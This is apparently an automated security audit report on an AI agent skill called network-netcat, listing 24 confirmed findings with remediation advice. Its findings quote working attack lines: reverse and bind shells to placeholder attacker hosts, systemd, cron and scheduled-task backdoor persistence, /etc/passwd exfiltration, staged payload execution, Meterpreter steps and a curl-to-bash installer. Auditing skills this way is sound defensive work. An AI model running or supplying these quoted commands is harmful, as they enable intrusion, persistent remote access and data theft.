Versioned security assessment
Report ID: SA-6451F275
7/7/2026, 9:05:56 PM
network-netcat security assessment v8
Skill Security Certification Report
Audit model: codex Historical report
- Skill name
- network-netcat
- Version
- v8
- Maintainer
- AgentSecOps
- Coverage
- 6 Files scanned · 2,096 Lines analyzed
- Policy version
- Unavailable
Highest confirmed finding severity
Critical
24 confirmed security findings require attention.
Installation context
Historical evidence
This report may not describe the currently installable artifact. Open the current Skill page for install guidance.
Open current Skill pageThis report does not block or authorize the manifest or ZIP.
The CI and reference-template findings are mostly documentation or security-workflow false positives, except for a real pipe-to-shell installer risk. The main SKILL.md content confirms critical dual-use behavior: reverse and bind shells, payload staging, data exfiltration, persistence, Metasploit integration, and relay or pivot guidance.
Report position
Historical report
Open audit history before using this report to install.
Audit attestation
Not attestable
The required immutable binding is incomplete.
Human verification
Not verified
No human verification is recorded for this report.
Coverage
6 Files scanned · 2,096 Lines analyzed
70 items shown for review
Limitations
This report does not claim runtime or sandbox execution and does not prove the absence of side effects.
Evidence chain
Follow the evidence from source binding to the install contract. Available evidence supports verification; it is not a safety guarantee.
Source
Binding unavailable
Artifact
Identity incomplete
Audit
Complete
Capabilities observed
Observed means this report recorded supporting evidence. Not recorded does not prove that a capability is absent.
Contains scripts
May execute code included with the Skill.
Observed in 2 evidence locations
Network access
May connect to external services.
Observed in 24 evidence locations
Filesystem access
May read or write local files.
Observed in 11 evidence locations
Env variables
May read values from the process environment.
Observed in 18 evidence locations
External commands
May invoke commands or programs outside the Skill.
Observed in 91 evidence locations
Capability review items (46)
Critical
Python subprocess.call
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(
The Python snippet connects to an attacker host and calls an interactive shell through subprocess. This is a complete reverse shell payload.
Critical
Python PTY spawn (shell access)
python -c 'import pty; pty.spawn("/bin/bash")'
The PTY spawn command creates an interactive bash session after shell access is obtained. It is a classic post-exploitation shell upgrade.
Critical
Python PTY spawn (shell access)
python3 -c 'import pty; pty.spawn("/bin/bash")'
The python3 PTY command upgrades shell access to interactive bash. The surrounding section is reverse-shell operation, not benign terminal setup.
Critical
Python PTY spawn (shell access)
python -c 'import pty; pty.spawn("/bin/bash")'
The command is recommended to fix inability to get an interactive shell. That directly supports durable remote shell operation.
Critical
PowerShell invocation
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',4444);$stream
The PowerShell command opens a TCP client to an attacker host and executes received commands. This is a full Windows reverse shell.
Critical
Windows cmd.exe
ncat.exe <attacker-ip> 4444 -e cmd.exe
The ncat command attaches cmd.exe to an outbound attacker connection. This provides remote command execution on Windows.
Critical
Windows cmd.exe
ncat.exe -lvnp 4444 -e cmd.exe
The ncat listener exposes cmd.exe as a bind shell. It creates remote command execution for anyone able to connect.
Critical
Windows cmd.exe
schtasks /create /tn "NetworkCheck" /tr "C:\ncat.exe <attacker-ip> 4444 -e cmd.exe" /sc onstart /ru
The scheduled task launches ncat with cmd.exe at startup. This combines persistence with remote command execution.
Critical
Unix shell invocation
nc <attacker-ip> 4444 -e /bin/bash
The netcat command attaches /bin/bash to an outbound attacker connection. It is a direct Linux reverse shell.
Critical
Unix shell invocation
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The named-pipe command creates an interactive /bin/sh reverse shell when netcat lacks -e support. This is direct remote shell enablement.
Critical
Unix shell invocation
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(
The Python one-liner duplicates socket file descriptors and starts /bin/sh. It is a complete reverse shell payload.
Critical
Unix shell invocation
nc -lvnp 4444 -e /bin/bash
The command exposes /bin/bash through a listening netcat bind shell. This creates remote shell access on the target.
Critical
Unix shell invocation
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
The named-pipe bind-shell variant exposes /bin/sh through a listening netcat process. It is a direct remote shell technique.
Critical
Unix shell invocation
ExecStart=/bin/nc <attacker-ip> 4444 -e /bin/bash
The systemd service starts netcat with /bin/bash connected to an attacker host. It combines persistence and remote shell access.
Critical
Unix shell invocation
(crontab -l; echo "@reboot /bin/nc <attacker-ip> 4444 -e /bin/bash") | crontab -
The crontab entry runs a netcat reverse shell at reboot. This is persistence for remote shell access.
Critical
Unix shell invocation
meterpreter > execute -f nc -a "<attacker-ip> 4444 -e /bin/bash"
The Meterpreter command executes netcat with /bin/bash as a post-exploitation shell. It directly extends attacker shell access.
Critical
Unix shell invocation
sh-4.2$ /tmp/nc <attacker-ip> 5555 -e /bin/bash
The uploaded netcat binary is run from /tmp with /bin/bash attached. This is a post-exploitation reverse shell.
Critical
Unix shell invocation
cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The named-pipe command starts /bin/sh and sends it to an attacker host through netcat. This is a reverse shell workaround.
Critical
Unix shell invocation
ncat <attacker-ip> 4444 -e /bin/bash
The ncat command attaches /bin/bash to an outbound connection. This is direct remote shell access.
Critical
Unix shell invocation
while true; do nc <attacker-ip> 4444 -e /bin/bash; sleep 10; done
The loop repeatedly launches a netcat reverse shell with /bin/bash. Reconnection logic makes the shell more durable.
Critical
Unix shell invocation
while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
The loop silently retries a netcat reverse shell with /bin/bash. This is durable remote shell behavior.
Critical
Temp directory access
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The /tmp named pipe is used to create a reverse shell without netcat -e support. This is a direct shell technique.
Critical
Temp directory access
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
The /tmp named pipe is used to expose /bin/sh through a bind shell. This is direct remote shell access.
Critical
Temp directory access
nc <attacker-ip> 4444 < /dev/null > /tmp/stage2.sh
The command writes a downloaded second-stage payload into /tmp. It is explicitly part of a multi-stage payload workflow.
Critical
Temp directory access
chmod +x /tmp/stage2.sh
The command marks the downloaded stage-two script executable. It prepares a transferred payload for execution.
Critical
Temp directory access
/tmp/stage2.sh
The staged script in /tmp is executed. This completes the multi-stage payload delivery pattern.
Critical
Temp directory access
meterpreter > upload /usr/bin/nc /tmp/nc
The Meterpreter workflow uploads a netcat binary into /tmp on a target. This supports post-exploitation shell deployment.
Critical
Temp directory access
sh-4.2$ /tmp/nc <attacker-ip> 5555 -e /bin/bash
The uploaded /tmp/nc binary is run with /bin/bash attached to an attacker host. This is post-exploitation shell access.
Critical
Temp directory access
rm /tmp/f; mkfifo /tmp/f
The /tmp FIFO is created for the reverse-shell workaround. It supports interactive shell creation through netcat.
Critical
Temp directory access
cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f
The /tmp FIFO is used to route /bin/sh through netcat to an attacker host. This is a reverse shell.
High
Process spawn
python -c 'import pty; pty.spawn("/bin/bash")'
The command spawns an interactive bash PTY as part of reverse-shell upgrade instructions. In this context it improves remote shell access rather than performing benign automation.
High
Process spawn
python3 -c 'import pty; pty.spawn("/bin/bash")'
The python3 PTY spawn upgrades a shell to an interactive bash session. It is presented immediately after reverse-shell instructions, so it materially improves remote shell control.
High
Process spawn
python -c 'import pty; pty.spawn("/bin/bash")'
The troubleshooting section tells users to spawn a bash PTY when they cannot get an interactive shell. This is direct shell-access enablement.
High
PowerShell invocation
# PowerShell reverse shell
The line labels the following command as a PowerShell reverse shell. The context is explicit Windows remote shell access.
High
Unix shell invocation
python -c 'import pty; pty.spawn("/bin/bash")'
The command spawns bash to upgrade shell access after a reverse-shell connection. It strengthens attacker control of an existing shell.
High
Unix shell invocation
python3 -c 'import pty; pty.spawn("/bin/bash")'
The python3 variant upgrades a remote shell to an interactive bash PTY. It appears in post-exploitation shell handling guidance.
High
Unix shell invocation
#!/bin/bash
The shebang starts an automated shell catcher script. The adjacent comments and loop show it is meant to receive and log reverse shells.
High
Unix shell invocation
python -c 'import pty; pty.spawn("/bin/bash")'
The PTY upgrade command is presented as a fix for noninteractive shells. It improves remote shell usability.
High
Hardcoded IP address
nc -lvnp 9090 -c "nc 192.168.1.100 3389"
The private IP appears in a pivot-chain example through a compromised host to RDP. The risk is not the address itself, but the relay workflow it demonstrates.
High
Standard device file access
nc <attacker-ip> 4444 < /dev/null > /tmp/stage2.sh
The /dev/null redirection is part of a staged payload download into /tmp. It supports multi-stage payload delivery.
High
Standard device file access
while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done
The stderr redirection suppresses output in a recurring reverse-shell loop. This supports stealthy shell persistence.
Medium
Hardcoded URL
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The URL is used to fetch a remote tfsec installer during CI rather than as a passive reference. Downloading executable installer content from a moving branch creates supply-chain risk.
Medium
Unix shell invocation
export SHELL=/bin/bash
The export sets the remote shell path during reverse-shell PTY upgrade steps. Alone it is benign, but the surrounding workflow is shell-access enablement.
Medium
Hardcoded URL
- [Reverse Shell Cheat Sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Method
The reference points to a reverse shell cheat sheet. In this skill context it reinforces operational reverse-shell guidance.
Low
Hardcoded URL
- [GTFOBins: netcat](https://gtfobins.github.io/gtfobins/nc/)
The GTFOBins netcat reference is linked from a skill that already teaches shells and persistence. It can help users apply netcat abuse patterns.
Low
Hardcoded URL
- [PTES: Post Exploitation](http://www.pentest-standard.org/index.php/Post_Exploitation)
The PTES post-exploitation reference is relevant to the skill's shell and persistence content. It supports offensive workflow context.
Risk findings
Confirmed security concerns are separated from items that still need review.
Confirmed security concerns (24)
RISK-001 Critical
Pipe to shell pattern
curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
The CI template pipes a remote install script directly into bash. This executes unauthenticated network content in the build environment and is a real supply-chain risk.
RISK-002 Critical
Shell backdoor keywords
tags: [networking, netcat, reverse-shell, file-transfer, port-scanning, banner-grabbing]
The tags include reverse-shell in a skill that provides full reverse and bind shell instructions. This is a real dual-use shell-access capability.
RISK-003 Critical
Metasploit framework
### Metasploit Integration
The section explicitly integrates netcat with Metasploit post-exploitation. It is not a passive mention; following lines show shell execution and upload workflows.
RISK-004 Critical
Metasploit framework
# Metasploit session backgrounding and netcat shell
The Metasploit subsection introduces netcat shell execution from a Meterpreter session. This extends post-exploitation access.
RISK-005 Critical
Metasploit framework
meterpreter > execute -f nc -a "<attacker-ip> 4444 -e /bin/bash"
The Meterpreter command executes netcat with /bin/bash attached. This is direct post-exploitation shell creation.
RISK-006 Critical
Metasploit framework
meterpreter > upload /usr/bin/nc /tmp/nc
The workflow uploads netcat to the target through Meterpreter. This enables subsequent remote shell execution.
RISK-007 Critical
Metasploit framework
meterpreter > shell
The Meterpreter shell step is part of the same netcat post-exploitation workflow. It helps execute the uploaded shell tooling.
RISK-008 Critical
Malware type keywords
transfers, and backdoor communication channels. Use when: (1) Testing network connectivity and
The description advertises backdoor communication channels and reverse-shell use cases. The rest of the skill provides operational commands for those capabilities.
RISK-009 Critical
Malware type keywords
### Pattern 4: Persistent Backdoor (Authorized Testing)
The heading introduces a persistent backdoor pattern. The following lines create Linux and Windows persistence for netcat shells.
RISK-010 Critical
Malware type keywords
cat > /etc/systemd/system/netcat-backdoor.service <<EOF
The service file is named netcat-backdoor and starts a shell to an attacker host. This is explicit persistent backdoor setup.
RISK-011 Critical
Malware type keywords
systemctl enable netcat-backdoor.service
The command enables the netcat backdoor service at boot. This is persistence for remote shell access.
RISK-012 Critical
Malware type keywords
systemctl start netcat-backdoor.service
The command starts the persistent netcat backdoor service. It activates remote shell access.
RISK-013 Critical
System password file access
cat /etc/passwd | nc <attacker-ip> 5555
The command pipes /etc/passwd to an attacker host with netcat. This is explicit sensitive file exfiltration.
RISK-014 Critical
Systemd service enablement
systemctl enable netcat-backdoor.service
The systemd enable command makes the netcat backdoor persistent across reboots. This is a real persistence mechanism.
RISK-015 Critical
Windows scheduled task creation
schtasks /create /tn "NetworkCheck" /tr "C:\ncat.exe <attacker-ip> 4444 -e cmd.exe" /sc onstart /ru
The scheduled task runs ncat with cmd.exe as System on startup. This combines persistence, privilege, and remote shell access.
RISK-016 Critical
[HEURISTIC] SUSPICIOUS COMBINATION: Code execution + Persistence mechanism
This combination is common in malware that maintains access
The skill combines executable reverse-shell commands with systemd, cron, and scheduled-task persistence. That combination is a strong malware-like access-maintenance pattern.
RISK-017 Critical
Explicit Reverse and Bind Shell Playbooks
The skill provides step-by-step reverse shell, bind shell, Windows shell, PowerShell shell, and TTY upgrade workflows. The authorization note does not remove the operational shell-access risk.
The section names reverse and bind shells and includes direct commands for Linux, Windows, PowerShell, and PTY upgrades.
RISK-018 Critical
Data Exfiltration and Multi-stage Payload Delivery
The common patterns section documents staged payload delivery and exfiltration of sensitive files and directories through netcat. This is intent-level offensive guidance beyond a single command pattern.
The headings and commands explicitly describe multi-stage payload delivery and data exfiltration to an attacker-controlled listener.
RISK-019 Critical
Persistent Backdoor Setup
The skill shows Linux systemd persistence, cron-based persistence, Windows scheduled task persistence, and reconnection loops for netcat shells. These workflows maintain remote access after reboot or disconnection.
The text labels the pattern as a persistent backdoor and gives concrete persistence mechanisms for Linux and Windows.
RISK-020 Critical
Post-Exploitation Metasploit Integration
The integration section combines Meterpreter with netcat upload and shell execution. This positions the skill as post-exploitation access tooling rather than only network troubleshooting.
The section names Metasploit and Meterpreter and shows upload plus shell execution steps using netcat.
RISK-021 High
System reconnaissance
echo -e "GET /?cmd=id HTTP/1.0\r\n\r\n" | nc <target-ip> 80
The HTTP request tests command execution through a cmd parameter. This is vulnerability exploitation validation, not ordinary connectivity testing.
RISK-022 High
Network scanning tools
Simple port scanning (note: nmap is more comprehensive):
The section instructs simple port scanning with netcat. Network scanning is dual-use and can be abusive outside authorized scope.
RISK-023 High
Network scanning tools
# Install ncat (Nmap project, more features)
The ncat installation instruction enables the later scanning, relay, and shell workflows. The risk is contextual rather than the package install alone.
RISK-024 High
Covert Relay and Pivot Guidance
The skill describes relays through compromised hosts and simple chat for covert communication. This can bypass network controls and support unauthorized lateral movement.
The text explicitly says relays are created through compromised hosts and describes covert communication use.
Remediation
Suggested fixes recorded by this audit. Applying them is the maintainer’s responsibility.
- FIX-001CriticalOperational reverse shell, bind shell, persistence, exfiltration, and Metasploit instructions are included in the skill.Remove step-by-step offensive command guidance and replace it with defensive detection, containment, and lab-only conceptual explanations.
- FIX-002CriticalThe CI template pipes a remote tfsec installer script directly into bash.Install tfsec from a pinned release, checksum-verified artifact, trusted package manager, or pinned GitHub Action instead of curl-to-shell.
- FIX-003HighThe skill links to offensive netcat abuse resources and frames some workflows around compromised hosts and covert channels.Replace offensive references with defensive vendor documentation, detection engineering references, and explicit refusal guidance for unauthorized use.
- FIX-004HighAuthorization warnings exist, but they do not constrain high-risk instructions.Add hard safety boundaries that disallow persistence, exfiltration, unauthorized shell access, and operation against systems outside written scope.
Expert evidence
Immutable subject identity, scanner metadata, dismissed matches, and source-level evidence.
Artifact subject
- Marketplace commit
- Unavailable
- Content hash
- Unavailable
- Tree hash
- Unavailable
- Skill path
- Unavailable
- Audit payload hash
- Unavailable
Analysis metadata
Audit model: codex
Analysis state: Complete
Scope is limited to the recorded files, lines, methods, and evidence. No runtime or sandbox execution is claimed.
Verify and export
The manifest and lockfile bind install artifacts to cryptographic hashes. This integrity claim is separate from the security assessment.
Audit attestation: not_attestable